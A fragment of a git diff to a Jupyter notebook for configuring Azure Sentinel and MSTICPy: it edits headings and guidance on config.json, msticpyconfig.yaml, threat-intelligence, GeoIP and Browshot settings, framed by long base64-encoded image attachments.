5sQwomde+ThV3ST26VLlzp27Gj8anidOnVOnz7t6uqq+QVBEARBEARBCAOEhuZptlgTBiic6tnjK7cOIeOrp1Hu5kuuKEfY58GDB3v37v348aPmFwRBEARBEAQhTBLimsf7ydvnb/4VBrmSR7cUPIpm+RMRi+PZ6w/yJjdBEARBEARBEIKRENc8J+/4KoctwaPQY/X0IcfFixdz585t9rKBhQsX6s8Cqed/Bg8e/PDhw759+7q4uCRIkKB9+/b37t0jljSkLFq06KlTpzJnzuzk5KSeFKJAiqVwU3lagXfu3Fm8eHGhQoVIVrZs2f379xs/Akv5I0aMUIVUqVLl4MGDgwYNsvpIkiAIgiAIgiAIgSOkNM+jPfs9h43h391xE+odW8a/JMtmqhD179HeA0YvsSoZ6VUIJWhlfSGuXr3atWvX77//fu7cucOGDduwYcNvv/3m6+sbM2bMAQMGTJkyJUOGDH/99deOHTvQPJEjR9ayGXj16tXIkSOPHz8+dOjQ1atXOzs7t2rV6vz58yr2/v37rVu39vDwoFgKqV27dq9evfCqWEEQBEEQBEEQgofPIczKM48jdNvPv84rr2lBJs4PHa25TBCrkpFeCwo4gwYN0lpljbZt2yJCSHbhwoVcuXLt3btX5VKgXipUqPDo0SPcJCNx6tSpd+7cqWI/ffr0559/JkuW7OjRoyqE7BRCUcoLZiEUyEFHjBjx/v17FXLq1KksWbKMHTsW94cPH9BRBQsWRAKpWMBNiF4NQfg2MZ4UgiAIgiAIQSfE723LnTyGcuy6+kI5rLLzynPl0NMHDjTDmjVrdvyXTZs2Va9eXUvhMOXKlcufP79yOzk55cmTB4evbwBuvcuRI0e1atUiRoyovIiobNmyPX/+nH5/+vTp7t2769atmzlzZhULuN3c3DSPIAiCIAiCIAjBQYhrHpf4UdSrqE/e9h2/+64KNIPwU3de4SAl6VVg4IgbN26RIkVK/pdixYolSZJES+EwqVKlih793zcrKGLGjJk4ceKbN29qfgdInjx5okTaB4ggcuTICRIkuHfv3ps3bx4/fnz37l1EkfFTEridnf/tK0EQBEEQBEEQgosQ1zwwt0F65Ri4+dbcIw+VW4cQwjW3X8pvhChRgiTwBEEQBEEQBEHwl9DQPNWzx69mei3bs9cfmi+5XGrKuQl77l5/+pa/uAkhnNim+RLZf7db8HLrlia04PPnz9euXdM8oYKzs3PEiBE9PT01v4mPHz++fv1a8wiCIAiCIAiCEHQiRPg/L13gSAMBKNYAAAAASUVORK5CYII=" - } - }, "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "## Creating your `config.json`\n", "When you start a notebook from Azure Sentinel for the first time it will create a `config.json` file in\n", "your notebooks folder. This should be populated with your workspace and tenant IDs needed to \n", @@ -165,6 +204,10 @@ "If you are using notebooks in a different environment you may need to create a `config.json` or `msticpyconfig.yaml` (see below)\n", "to supply this information to your notebook.\n", "\n", + "We recommend creating a `msticpyconfig.yaml` since this can hold a wide variety \n", + "of settings for your notebook, including multiple Azure Sentinel workspace settings.\n", + "The config.json, in contrast, only holds settings for a single Azure Sentinel workspace.\n", + "\n", "Form more information see this [msticpy Package Configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", "\n", "---\n", @@ -173,10 +216,10 @@ "\n", "You will need the subscription and workspace IDs for your Azure Sentinel Workspace. These can be found here in the Azure Sentinel portal as shown below.\n", "\n", - "![WorkspaceSettings.png](attachment:WorkspaceSettings.png)\n", + "\n", "\n", - "Copy the subscription and workspace IDs:\n", - "![WorkspaceDetails.png](attachment:WorkspaceDetails.png)" + "
Copy the subscription and workspace IDs:
\n", + "" ] }, { @@ -307,6 +350,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "## MSTICPy Configuration File - `msticpyconfig.yaml`\n", "\n", "*MSTICPy* is a Python package used in most of the Jupyter notebooks\n", @@ -342,7 +387,7 @@ "The most commonly-used sections are described below.\n", "\n", "\n", - "### Threat Intelligence Provider Setup\n", + "#### Threat Intelligence Provider Setup\n", "For more information on the msticpy Threat Intel lookup class see the [documentation here](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html).\n", "\n", "Primary providers are used by default. Secondary providers are not run by default but can be invoked by using the `providers` parameter to `lookup_ioc()` or `lookup_iocs()`. Set the `Primary` config setting to `True` or `False` for each provider ID according to how you want to use them. The `providers` parameter should be a list of strings identifying the provider(s) to use. \n", @@ -353,11 +398,11 @@ "- For the Azure Sentinel TI provider, you will need the workspace ID and tenant ID and will need to authenticate in order \n", " to access the data (although if you have an existing authenticated connection with the same workspace/tenant, this connection will be re-used).\n", "\n", - "### GeoIP Providers\n", + "#### GeoIP Providers\n", "Like the TI providers these services normally need an API key to access. You can read more about configuration\n", "the supported providers here. [msticpy GeoIP Providers](https://msticpy.readthedocs.io/en/latest/data_acquisition/GeoIPLookups.html)\n", "\n", - "### Browshot Setup\n", + "#### Browshot Setup\n", "The functionality to screenshot a URL in msticpy.sectools.domain_utils relies on a service called BrowShot (https://browshot.com/). An API key is required to use this service and it needs to be defined in the `msticpyconfig` file as well. As this is not a threat intelligence provider it doesn't not fall under the `TIProviders` section of `msticpyconfig` but instead sits alone. See the cell below for example configuration." ] }, @@ -365,6 +410,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Display your existing `msticpyconfig.yaml`\n", "\n", "We'll be using some of the *MSTICPy* configuration tools:\n", @@ -417,6 +464,8 @@ "cell_type": "markdown", "metadata": {}, "source": [ + "---\n", + "\n", "### Import your Config.json and create a msticpyconfig.yaml [Azure Sentinel]\n", "\n", "Follow these steps:\n", @@ -437,17 +486,11 @@ ] }, { - "attachments": { - "97bef751-11a7-49e4-b881-0e2e7ead1a30.png": { - "image/png": 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" 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